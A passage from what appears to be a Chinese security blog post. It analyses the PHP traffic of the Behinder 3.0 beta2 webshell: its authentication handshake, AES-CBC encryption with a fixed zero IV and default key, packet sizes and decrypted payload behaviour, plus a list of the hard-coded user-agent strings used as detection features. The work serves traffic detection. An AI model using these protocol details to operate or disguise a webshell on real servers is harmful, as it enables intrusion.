20px;">前言</span></section></section></section></section></section></section><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">本文主要针对冰蝎3.0beta2版本在php环境下进行分析。分析内容包括：建立连接开始过程以及可能特征分析提取。</span></p><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/></span></p><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">2</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">PHP-Webshell分析</span></section></section></section></section></section></section><h3 style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 13.5pt;font-family: 宋体;margin-top: 16.8pt;margin-bottom: 13.2pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;">2.1.错误密码通信过程</span></h3><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">首先分析错误密码情况<br/>默认密码为rebeyond的32位md5值的前16位-“e45e329feb5d925b”。<br/>这里首先模拟使用admin密码（错误密码），计算md5后的密码为“21232f297a57a5a7”。<br/>由于冰蝎3.0版本取消了动态密钥协商机制，采用预共享密钥，以PHP说明。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><shape type="#_x0000_t75" href="http://localhost:4000/2020/08/20/Behinder3-0-Beta2-PHP/cd48d35e.png" title="" filled="f" style="text-indent:0;left:0;width:415.3pt;height:81.1pt;"><imagedata title="image1"></imagedata></shape><img data-ratio="0.19558359621451105" style="width: 553.73px;height: 108.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=804aa875&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12XQIxfDxiaVtggRse8J8gLiaNnBd2EBG4j532lDSuTNVIriceXDNiaZhriaQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>php的webshell如下图，若不支持aes则使用异或的方式进行加解密。下面以AES加密通信进行分析。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.7109704641350211" style="width: 553.73px;height: 393.47px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="948" src="https://wechat2rss.xlab.app/img-proxy/?k=1e21720b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12pCWgibkSXuwGsygaO3sBicTX9sOcibPNyOAOKPiaBZyIv7rZrsqjBAc8tA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>首先输入错误密码admin，发送第一个连接的数据包。由于密码错误返回包的数据为空。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.31209150326797386" style="width: 553.73px;height: 172.8px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1224" src="https://wechat2rss.xlab.app/img-proxy/?k=337108b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12ejZrCFRXN7r1LwsjkeGvibZfJ9sEgksSZSw8BOAudxExxBgGzkLezmQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.46294307196562834" style="width: 553.73px;height: 256.27px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1862" src="https://wechat2rss.xlab.app/img-proxy/?k=509a09fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc1294brZaY9IDrPYiaNqVU1umBUIibDJOqaCEaheWNO3MbehcaPiaAt2YG1Q%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>这里的数据包能够通过AES密码进行解密，后面在正确密码时演示解密过程。上述数据解密后主要代码如下，主要目的在于设置$content变量，其时通过UUID生成，用于后续做校验（见java代码）。<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.7008547008547008" style="width: 553.73px;height: 388.07px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1170" src="https://wechat2rss.xlab.app/img-proxy/?k=a0162e34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12MqNT4WWkPuVc6picpUZ8JiaX5B0fwNicpJN8hlybKngupGJDP5kiayhFDA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>在使用预共享密钥进行解密失败后，则尝试进行常规密钥协商流程。发送密钥协商的第一个数据包如下图，get请求，url中格式中出现密钥admin等号后面跟数字。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.28694714131607335" style="width: 553.73px;height: 158.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1854" src="https://wechat2rss.xlab.app/img-proxy/?k=098a3ea2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12MmKKTV23oqD4kTSVCoP8faM82CdKlJkTvF8HRrDeQQkUo7vsPSnkFw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>通过代码逆向分析可知，通过异常处理的方式，在连接时，也就是第一个数据包，会生成随机的UUID字符串，如果比较相同则返回真（如果第一个包解密成功，这里是PHP，则会输出数据，进行比较），如果失败则进入异常处理流程-这里指密钥协商流程。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.6192528735632183" style="width: 553.73px;height: 342.73px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1392" src="https://wechat2rss.xlab.app/img-proxy/?k=52174ffa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12HQCbCyjRXwiaOunricTHiaAET7FbcZTE5d6dO2x6GGvV8xmB4BCTqEwSA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>密钥协商过程，格式一般为“?password=随机数字”，随机数为1000以下的数字。以本次抓包过程吻合。由于密钥协商过程以2.0版本类似，因此具有明显特征，可以进行模糊匹配（不完全准确）。由于这里没有协商过程因此本次暂不分析。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.6217105263157895" style="width: 553.73px;height: 344.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1824" src="https://wechat2rss.xlab.app/img-proxy/?k=8bcc3c83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12MJp5k3wyicnxabK4bgiaE6pRGZ7yDgMNF7JN9WUBTicj8picBp2VuSLx3A%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"></span></p><h3 style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 13.5pt;font-family: 宋体;margin-top: 16.8pt;margin-bottom: 13.2pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;">2.2.正确密码通信过程</span></h3><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">这里首先使用3.0beta2版本<br/>正确密码情况，首先发送第一个认证数据包：<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.48869752421959095" style="width: 553.73px;height: 270.53px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1858" src="https://wechat2rss.xlab.app/img-proxy/?k=60d73ad5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12GSXeP9icIgSBvRJwHorVyFbpa4xlfF8uT8O8puPPMJcxibSr4e2tHTIA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>第一个认证数据包POST的内容大小为1112字节（PHP脚本），固定的。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2564102564102564" style="width: 553.73px;height: 142.07px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="780" src="https://wechat2rss.xlab.app/img-proxy/?k=c920ac25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12n8tFg3BJGNjhW2icllFoicibtohueKGaciaWj23P2RBe8D1RZoWqZWibbiaQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>逆向分析可知PHP脚本的AES加密方式为CBC模式，填充方式为PKCS5Padding，默认的IV值（固定值）为16个0x00。（beta2版本和beta3版本相同）<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2639175257731959" style="width: 553.73px;height: 146.2px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="970" src="https://wechat2rss.xlab.app/img-proxy/?k=6e20352d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12mkO9h4lqDjn7iaWiap5uGgvUFRvS6QdOWAFxDucn3SGVag2f2h8c5D1Q%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>下面尝试解密第一个认证数据包，首先进行base64解密，然后使用aes的cbc模式进行解密，aes解密后出现2部分，以｜分割，前面是assert后面是eval的base64的代码片段。（beta2版本）<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.3760217983651226" style="width: 553.73px;height: 208.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1468" src="https://wechat2rss.xlab.app/img-proxy/?k=438a4936&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12KlcxMb8SC1NUiavpQ2FfxoLRHLkQic2ibouWgIQbd6QknrOb5BCfcesSw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>再将base64的部分进行解码，如下图。如果密码正确则能够正常解密处下图的代码并运行，运行成功后会输出$content变量的加密数据。（beta2版本）<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.9320987654320988" style="width: 553.73px;height: 515.73px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="972" src="https://wechat2rss.xlab.app/img-proxy/?k=39c87c95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12SiacBibPDTGOn8AHGd9gOEDjMnfToyTCT3TQJMaZGPDEI5LQ25TGVAVw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>由于$content变量格式固定，因此其加密数据的长度为128字节。解密后数据格式为json格式，包括status字段和msg字段，如下图：（beta2版本）<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2615803814713896" style="width: 553.73px;height: 144.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1468" src="https://wechat2rss.xlab.app/img-proxy/?k=2490f182&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12nYDl7TqHzfIN653cP8Mnb5HRUYjburQlicXbrsJHpCeOUDnebKOOcOg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>若请求认证成功则status返回base64解码后为“success”，msg解开后为$content变量的值。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.07092198581560284" style="width: 553.73px;height: 39.33px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=d61503f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12TRGriaSTvZFjNTyicJcbw7CPmAY2zzHQUWR5omLCkdUWYHbru5CUIRvw%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>第一个认证数据包通过后，第二个数据包为获取基本信息，数据包如下图：<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.6378378378378379" style="width: 553.73px;height: 353.2px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1850" src="https://wechat2rss.xlab.app/img-proxy/?k=10fea3ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12BIe8svxKy72LXgDr6oqL2OSwxkIrzO176ic396O6kMmwLyM5WHdfoEQ%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>解密第二个数据包，与第一个数据包相同，以｜分割。如下图：<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.1746905089408528" style="width: 553.73px;height: 96.73px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1454" src="https://wechat2rss.xlab.app/img-proxy/?k=b95dfa18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12WW3N5WIicDqsibdicjicibMZoxfdAPpibG5uEZXU6BqpN5WOulZGbicVspI3w%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>解密后代码的主要功能为获取phpinfo信息、盘符信息、当前路径以及信息系统并加密后输出。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.1717687074829932" style="width: 553.73px;height: 94.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1176" src="https://wechat2rss.xlab.app/img-proxy/?k=63694087&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12qfHxrINZFfmIIF4iaIDDh4g3gTCnCXh4kZNuGrsbIpBquILeTJmMWww%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.3083989501312336" style="width: 553.73px;height: 170.73px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1524" src="https://wechat2rss.xlab.app/img-proxy/?k=ac5f3185&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12tKVPuia102iaBwiaTmicw5GlSuf7TxvYLWOQNuSoVeI8HMRBiaeNzgzPRoA%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>返回的基本信息解密后如下：<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.2024623803009576" style="width: 553.73px;height: 111.93px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1462" src="https://wechat2rss.xlab.app/img-proxy/?k=f3166241&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12V8icAyhQ8pK08yRKZBcwHRUhP65dbyBLag4vohrAvSibfZibYOryOicF8A%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>本次测试大小固定为2220字节，不同主机应该有差异。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.09779614325068871" style="width: 553.73px;height: 54.07px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1452" src="https://wechat2rss.xlab.app/img-proxy/?k=45d27d9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12VzfOdugMU3dHFJBcKjbSzmGkmicsjhP37kHHt0qsypmzvTUL0wl4Cpg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>通过逆向代码也能够找到，其是打包在payload下，PHP就是php目录下，其中获取第二个数据包的内容就是发送的BasicInfo.php的内容进行执行。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.13002364066193853" style="width: 553.73px;height: 72.13px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1269" src="https://wechat2rss.xlab.app/img-proxy/?k=3e299fd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12I0zgc1CRAwFKqiakmDFE6pH1xv5gdQardpiauVSeNFkaMqvmCoS2XMtg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>获取需要执行的php代码，如BasicInfo，然后进行加密。<br/>￼</span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.46681175190424373" style="width: 553.73px;height: 258.47px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1838" src="https://wechat2rss.xlab.app/img-proxy/?k=7a0eaebf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12XWH9PVjFs2cCMrjmz1MTzcbSRVrngw7Wvk5pqgztOkfp0ruXMFgwLg%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"><br/>同理其他功能模块调用方式类似。</span></p><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">3</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">特征分析</span></section></section></section></section></section></section><h3 style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 13.5pt;font-family: 宋体;margin-top: 16.8pt;margin-bottom: 13.2pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:16.0pt;font-family:FangSong_GB2312;color:#444444;">3.1.HTTP头部特征</span></h3><p style="margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 14.8pt;text-align: justify;background: rgb(255, 255, 255);"><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;">http头部的特征暂时不具有唯一性<br/>user-agent较老<br/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#01579F;text-underline:none;text-decoration:none;"><img data-ratio="0.16765285996055226" style="width: 553.73px;height: 92.67px;margin: 0px;top: 0px;left: 0px;right: 0px;bottom: 0px;" data-type="png" data-w="1014" src="https://wechat2rss.xlab.app/img-proxy/?k=2335d94d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD2GhURTCzOwm3DPCBAXSc12DD1PvNOnZpdiasQ1TLCJpRPsscOCUwcoIamicTic5B0utfqAMcWxDFK6g%2F640%3Fwx_fmt%3Dpng"/></span><span style="font-size:14.0pt;font-family:FangSong_GB2312;color:#444444;"></span></p><table border="1" cellspacing="0" cellpadding="0" width="723" style="margin-left: 0px;border-width: initial;border-style: none;border-color: initial;border-collapse: collapse;width: 100%;"><tbody><tr><td width="723" valign="top" style="width:484.4pt;background:transparent;border-top:none;border-left:none;border-bottom:none;border-right:none;padding:3.6pt 11.25pt 3.6pt 12.0pt;"><pre style="margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;tab-stops: left Blank 45.8pt left Blank 91.6pt left Blank 137.4pt left Blank 183.2pt left Blank 229.0pt left Blank 274.8pt left Blank 320.6pt left Blank 366.4pt left Blank 412.2pt left Blank 458.0pt left Blank 503.8pt left Blank 549.6pt left Blank 595.4pt left Blank 641.2pt left Blank 687.0pt left Blank 732.8pt;"><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201</span><span style="font-size:16.0pt;"><br/></span><span style="mso-style-name: &#39;line&#39;;font-size: 11.0pt;font-family: FangSong_GB2312;">Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; 